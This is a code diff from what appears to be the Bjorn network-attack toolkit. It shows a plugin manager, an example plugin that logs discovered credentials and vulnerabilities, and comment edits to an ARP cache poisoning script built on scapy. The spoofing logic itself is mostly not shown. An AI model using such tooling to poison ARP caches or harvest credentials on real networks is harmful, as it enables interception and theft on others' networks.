meta = json.load(f)
missing = _REQUIRED_MANIFEST_FIELDS - set(meta.keys())
if missing:
return {"status": "error", "message": f"Missing manifest fields: {missing}"}
plugin_id = meta["id"]
plugin_source_dir = os.path.dirname(manifest_path)
target_dir = os.path.join(self.plugins_dir, plugin_id)
# Check if already installed
if os.path.isdir(target_dir):
# Allow upgrade: remove old version
self.unload_plugin(plugin_id)
shutil.rmtree(target_dir)
# Move to plugins dir
shutil.copytree(plugin_source_dir, target_dir)
# Register in DB
default_config = self._extract_defaults(meta)
self.shared_data.db.upsert_plugin(plugin_id, 0, default_config, meta)
# Check dependencies
dep_check = self.check_dependencies(meta)
if not dep_check["ok"]:
logger.warning(f"Plugin {plugin_id} has missing deps: {dep_check['missing']}")
logger.info(f"Plugin installed: {plugin_id}")
return {
"status": "ok",
"plugin_id": plugin_id,
"name": meta.get("name", plugin_id),
"dependencies": dep_check,
}
except Exception as e:
logger.error(f"Plugin install failed: {e}")
return {"status": "error", "message": "Plugin installation failed"}
finally:
# Always clean up temp dir
if tmp_dir:
try:
shutil.rmtree(tmp_dir)
except Exception as cleanup_err:
logger.warning(f"Temp dir cleanup failed ({tmp_dir}): {cleanup_err}")
def uninstall(self, plugin_id: str) -> dict:
"""Unload plugin, remove DB entries, delete directory."""
try:
self.unload_plugin(plugin_id)
# Remove from DB
self.shared_data.db.delete_plugin(plugin_id)
# Remove action entry if it was an action-type plugin
try:
self.shared_data.db.delete_action(f"plugins/{plugin_id}")
except Exception:
pass
# Delete directory
target_dir = os.path.join(self.plugins_dir, plugin_id)
if os.path.isdir(target_dir):
shutil.rmtree(target_dir)
# Clear any cached error
self._errors.pop(plugin_id, None)
logger.info(f"Plugin uninstalled: {plugin_id}")
return {"status": "ok", "plugin_id": plugin_id}
except Exception as e:
logger.error(f"Plugin uninstall failed for {plugin_id}: {e}")
return {"status": "error", "message": "Uninstall failed"}
def toggle_plugin(self, plugin_id: str, enabled: bool) -> None:
"""Enable/disable a plugin. Update DB, load/unload accordingly."""
self.shared_data.db.set_plugin_enabled(plugin_id, enabled)
if enabled:
self.load_plugin(plugin_id)
else:
self.unload_plugin(plugin_id)
logger.info(f"Plugin {plugin_id} {'enabled' if enabled else 'disabled'}")
# ── Dependency Checking ──────────────────────────────────────────
def check_dependencies(self, meta: dict) -> dict:
"""Check pip and system dependencies. Returns {"ok": bool, "missing": [...]}."""
requires = meta.get("requires", {})
missing = []
# Check pip packages
for pkg in requires.get("pip", []):
pkg_name = pkg.split(">=")[0].split("==")[0].split("<")[0].strip()
if importlib.util.find_spec(pkg_name) is None:
missing.append(f"pip:{pkg}")
# Check system commands
for cmd in requires.get("system", []):
if shutil.which(cmd) is None:
missing.append(f"system:{cmd}")
return {"ok": len(missing) == 0, "missing": missing}
# ── Status ───────────────────────────────────────────────────────
def get_plugin_status(self, plugin_id: str) -> str:
"""Return status string: 'loaded', 'disabled', 'error', 'not_installed'."""
if plugin_id in self._instances:
return "loaded"
if plugin_id in self._errors:
return "error"
db_rec = self.shared_data.db.get_plugin_config(plugin_id)
if db_rec:
return "disabled" if not db_rec.get("enabled", 1) else "error"
return "not_installed"
def get_all_status(self) -> List[dict]:
"""Return status for all known plugins (discovered + DB)."""
result = []
db_plugins = {p["plugin_id"]: p for p in self.shared_data.db.list_plugins_db()}
# Include discovered plugins
discovered = self.discover_plugins()
seen = set()
for meta in discovered:
pid = meta["id"]
seen.add(pid)
db_rec = db_plugins.get(pid, {})
result.append({
"id": pid,
"name": meta.get("name", pid),
"description": meta.get("description", ""),
"version": meta.get("version", "?"),
"author": meta.get("author", ""),
"type": meta.get("type", "unknown"),
"enabled": bool(db_rec.get("enabled", 1)),
"status": self.get_plugin_status(pid),
"hooks": meta.get("hooks", []),
"has_config": bool(meta.get("config_schema")),
"error": self._errors.get(pid),
"dependencies": self.check_dependencies(meta),
})
# Include DB-only entries (installed but directory removed?)
for pid, db_rec in db_plugins.items():
if pid not in seen:
meta = db_rec.get("meta", {})
result.append({
"id": pid,
"name": meta.get("name", pid),
"description": meta.get("description", ""),
"version": meta.get("version", "?"),
"author": meta.get("author", ""),
"type": meta.get("type", "unknown"),
"enabled": bool(db_rec.get("enabled", 0)),
"status": "missing",
"hooks": [],
"has_config": False,
"error": "Plugin directory not found",
})
return result
# ── Private Helpers ──────────────────────────────────────────────
def _set_error(self, plugin_id: str, message: str) -> None:
"""Set an error for a plugin, with bounded error dict size."""
if len(self._errors) >= _MAX_ERRORS:
# Evict oldest entry (arbitrary, just keep bounded)
try:
oldest_key = next(iter(self._errors))
del self._errors[oldest_key]
except StopIteration:
pass
self._errors[plugin_id] = message
def _get_merged_config(self, plugin_id: str, meta: Optional[dict]) -> dict:
"""Merge schema defaults with DB-stored user config."""
schema = (meta or {}).get("config_schema", {})
defaults = self._extract_defaults(meta or {})
db_rec = self.shared_data.db.get_plugin_config(plugin_id)
if db_rec and db_rec.get("config"):
merged = dict(defaults)
merged.update(db_rec["config"])
return merged
return defaults
@staticmethod
def _extract_defaults(meta: dict) -> dict:
"""Extract default values from config_schema."""
schema = meta.get("config_schema", {})
return {k: spec.get("default") for k, spec in schema.items()}
@staticmethod
def _coerce_value(value: Any, spec: dict) -> Any:
"""Coerce a config value to the type declared in the schema."""
vtype = spec.get("type", "string")
try:
if vtype == "int" or vtype == "number":
return int(value)
elif vtype == "float":
return float(value)
elif vtype in ("bool", "boolean"):
if isinstance(value, str):
return value.lower() in ("true", "1", "yes", "on")
return bool(value)
elif vtype == "select":
choices = spec.get("choices", [])
return value if value in choices else spec.get("default")
elif vtype == "multiselect":
if isinstance(value, list):
return value
return spec.get("default", [])
else:
return str(value) if value is not None else spec.get("default", "")
except (ValueError, TypeError):
return spec.get("default")

View File

@@ -0,0 +1,69 @@
"""example_notifier.py - Example Bjorn plugin that logs events to the console.
This plugin demonstrates how to:
- Extend BjornPlugin
- Use config values from plugin.json config_schema
- Subscribe to hooks (on_credential_found, on_vulnerability_found, etc.)
- Use the PluginLogger for namespaced logging
- Access the database via self.db
Copy this directory as a starting point for your own plugin!
"""
from bjorn_plugin import BjornPlugin
class ExampleNotifier(BjornPlugin):
"""Logs security events to the Bjorn console."""
def setup(self):
"""Called once when the plugin is loaded."""
self.prefix = self.config.get("custom_prefix", "ALERT")
self.log.info(f"Example Notifier ready (prefix={self.prefix})")
def teardown(self):
"""Called when the plugin is unloaded."""
self.log.info("Example Notifier stopped")
# ── Hook implementations ─────────────────────────────────────────
def on_host_discovered(self, host):
"""Fired when a new host appears on the network."""
mac = host.get("mac_address", "?")
ips = host.get("ips", "?")
self.log.info(f"[{self.prefix}] New host: {mac} ({ips})")
def on_credential_found(self, cred):
"""Fired when a new credential is stored in the DB."""
if not self.config.get("log_credentials", True):
return
service = cred.get("service", "?")
user = cred.get("user", "?")
ip = cred.get("ip", "?")
self.log.success(
f"[{self.prefix}] Credential found! {service}://{user}@{ip}"
)
def on_vulnerability_found(self, vuln):
"""Fired when a new vulnerability is recorded."""
if not self.config.get("log_vulnerabilities", True):
return
cve = vuln.get("cve_id", "?")
ip = vuln.get("ip", "?")
severity = vuln.get("severity", "?")
self.log.warning(
f"[{self.prefix}] Vulnerability: {cve} on {ip} (severity={severity})"
)
def on_action_complete(self, action_name, success, target):
"""Fired after any orchestrated action finishes."""
if not self.config.get("log_actions", False):
return
status = "SUCCESS" if success else "FAILED"
ip = target.get("ip", "?")
self.log.info(
f"[{self.prefix}] Action {action_name} {status} on {ip}"
)

View File

@@ -0,0 +1,52 @@
{
"id": "example_notifier",
"name": "Example Notifier",
"description": "Logs events to console when credentials or vulnerabilities are found. Use as a template for building your own plugins.",
"author": "Bjorn Team",
"version": "1.0.0",
"license": "MIT",
"type": "notifier",
"main": "example_notifier.py",
"class": "ExampleNotifier",
"tags": ["example", "template", "notifier"],
"config_schema": {
"log_credentials": {
"type": "boolean",
"label": "Log new credentials",
"default": true,
"help": "Log to console when new credentials are discovered"
},
"log_vulnerabilities": {
"type": "boolean",
"label": "Log new vulnerabilities",
"default": true,
"help": "Log to console when new vulnerabilities are found"
},
"log_actions": {
"type": "boolean",
"label": "Log action completions",
"default": false,
"help": "Log every action result (can be noisy)"
},
"custom_prefix": {
"type": "string",
"label": "Log prefix",
"default": "ALERT",
"help": "Custom prefix for log messages"
}
},
"hooks": [
"on_credential_found",
"on_vulnerability_found",
"on_action_complete",
"on_host_discovered"
],
"requires": {
"pip": [],
"system": [],
"bjorn_min_version": "1.0.0"
}
}

View File

@@ -1,13 +1,4 @@
# AARP Spoofer by poisoning the ARP cache of a target and a gateway. """arp_spoofer.py - ARP cache poisoning between target and gateway (scapy)."""
# Saves settings (target, gateway, interface, delay) in `/home/bjorn/.settings_bjorn/arpspoofer_settings.json`.
# Automatically loads saved settings if arguments are not provided.
# -t, --target IP address of the target device (overrides saved value).
# -g, --gateway IP address of the gateway (overrides saved value).
# -i, --interface Network interface (default: primary or saved).
# -d, --delay Delay between ARP packets in seconds (default: 2 or saved).
# - First time: python arpspoofer.py -t TARGET -g GATEWAY -i INTERFACE -d DELAY
# - Subsequent: python arpspoofer.py (uses saved settings).
# - Update: Provide any argument to override saved values.
import os import os
import json import json
@@ -19,7 +10,7 @@ from scapy.all import ARP, send, sr1, conf
b_class = "ARPSpoof" b_class = "ARPSpoof"
b_module = "arp_spoofer" b_module = "arp_spoofer"
b_enabled = 0 b_enabled = 0
# Répertoire et fichier de paramètres # Settings directory and file
SETTINGS_DIR = "/home/bjorn/.settings_bjorn" SETTINGS_DIR = "/home/bjorn/.settings_bjorn"
SETTINGS_FILE = os.path.join(SETTINGS_DIR, "arpspoofer_settings.json") SETTINGS_FILE = os.path.join(SETTINGS_DIR, "arpspoofer_settings.json")
@@ -29,7 +20,7 @@ class ARPSpoof:
self.gateway_ip = gateway_ip self.gateway_ip = gateway_ip
self.interface = interface self.interface = interface
self.delay = delay self.delay = delay
conf.iface = self.interface # Set the interface conf.iface = self.interface
print(f"ARPSpoof initialized with target IP: {self.target_ip}, gateway IP: {self.gateway_ip}, interface: {self.interface}, delay: {self.delay}s") print(f"ARPSpoof initialized with target IP: {self.target_ip}, gateway IP: {self.gateway_ip}, interface: {self.interface}, delay: {self.delay}s")
def get_mac(self, ip): def get_mac(self, ip):
@@ -144,7 +135,7 @@ if __name__ == "__main__":
parser.add_argument("-d", "--delay", type=float, default=2, help="Delay between ARP packets in seconds (default: 2 seconds)") parser.add_argument("-d", "--delay", type=float, default=2, help="Delay between ARP packets in seconds (default: 2 seconds)")
args = parser.parse_args() args = parser.parse_args()
# Load saved settings and override with CLI arguments # Load saved settings, override with CLI args
settings = load_settings() settings = load_settings()
target_ip = args.target or settings.get("target") target_ip = args.target or settings.get("target")
gateway_ip = args.gateway or settings.get("gateway") gateway_ip = args.gateway or settings.get("gateway")
@@ -155,9 +146,9 @@ if __name__ == "__main__":
print("Target and Gateway IPs are required. Use -t and -g or save them in the settings file.") print("Target and Gateway IPs are required. Use -t and -g or save them in the settings file.")
exit(1) exit(1)
# Save the settings for future use # Persist settings for future runs
save_settings(target_ip, gateway_ip, interface, delay) save_settings(target_ip, gateway_ip, interface, delay)
# Execute the attack # Launch ARP spoof
spoof = ARPSpoof(target_ip=target_ip, gateway_ip=gateway_ip, interface=interface, delay=delay) spoof = ARPSpoof(target_ip=target_ip, gateway_ip=gateway_ip, interface=interface, delay=delay)
spoof.execute() spoof.execute()

Some files were not shown because too many files have changed in this diff Show More